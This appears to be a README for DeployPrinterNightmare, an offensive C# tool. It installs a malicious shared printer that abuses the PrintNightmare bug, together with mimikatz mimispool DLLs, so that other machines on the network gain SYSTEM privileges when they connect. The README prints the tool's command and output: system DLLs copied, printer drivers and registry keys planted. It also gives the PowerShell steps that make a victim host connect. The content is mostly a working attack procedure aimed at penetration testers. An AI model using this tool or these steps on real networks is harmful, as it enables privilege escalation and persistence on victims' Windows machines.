DeployPrinterNightmare
C# tool for installing a shared network printer abusing the PrinterNightmare bug to allow other network machines easy privesc!
Discovered and demonstraited by the one and only Benjamin Delpy
C:\Users\Flangvik\Desktop>FakePrinter.exe 32mimispool.dll 64mimispool.dll EasySystemShell
[<3] @Flangvik - TrustedSec
[+] Copying C:\Windows\system32\mscms.dll to C:\Windows\system32\6cfbaf26f4c64131896df8a522546e9c.dll
[+] Copying 64mimispool.dll to C:\Windows\system32\spool\drivers\x64\3\6cfbaf26f4c64131896df8a522546e9c.dll
[+] Copying 32mimispool.dll to C:\Windows\system32\spool\drivers\W32X86\3\6cfbaf26f4c64131896df8a522546e9c.dll
[+] Adding printer driver => Generic / Text Only!
[+] Adding printer => EasySystemShell!
[+] Setting 64-bit Registry key
[+] Setting 32-bit Registry key
[+] Setting '*' Registry key
You can then reach the EasySystemShell printer from the same network by hitting the computer it was installed on using explorer (Go to \\printer-installed-host\ in explorer, click the printer and install) or using PowerShell
$serverName = 'printer-installed-host'
$printerName = 'EasySystemShell'
$fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'})
Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
Add-Printer -ConnectionName $fullprinterName
Credits and ressources
- @shreedee => https://github.com/shreedee/EVOPrinter/blob/master/printerDriver/SpoolerHelper.cs
- Benjamin Delpy => https://twitter.com/gentilkiwi/status/1420896231648288772
- https://pentestlab.blog/2021/08/02/universal-privilege-escalation-and-persistence-printer/
- https://docs.microsoft.com/en-us/windows/win32/printdocs/addprinterdriverex
- https://github.com/freefirex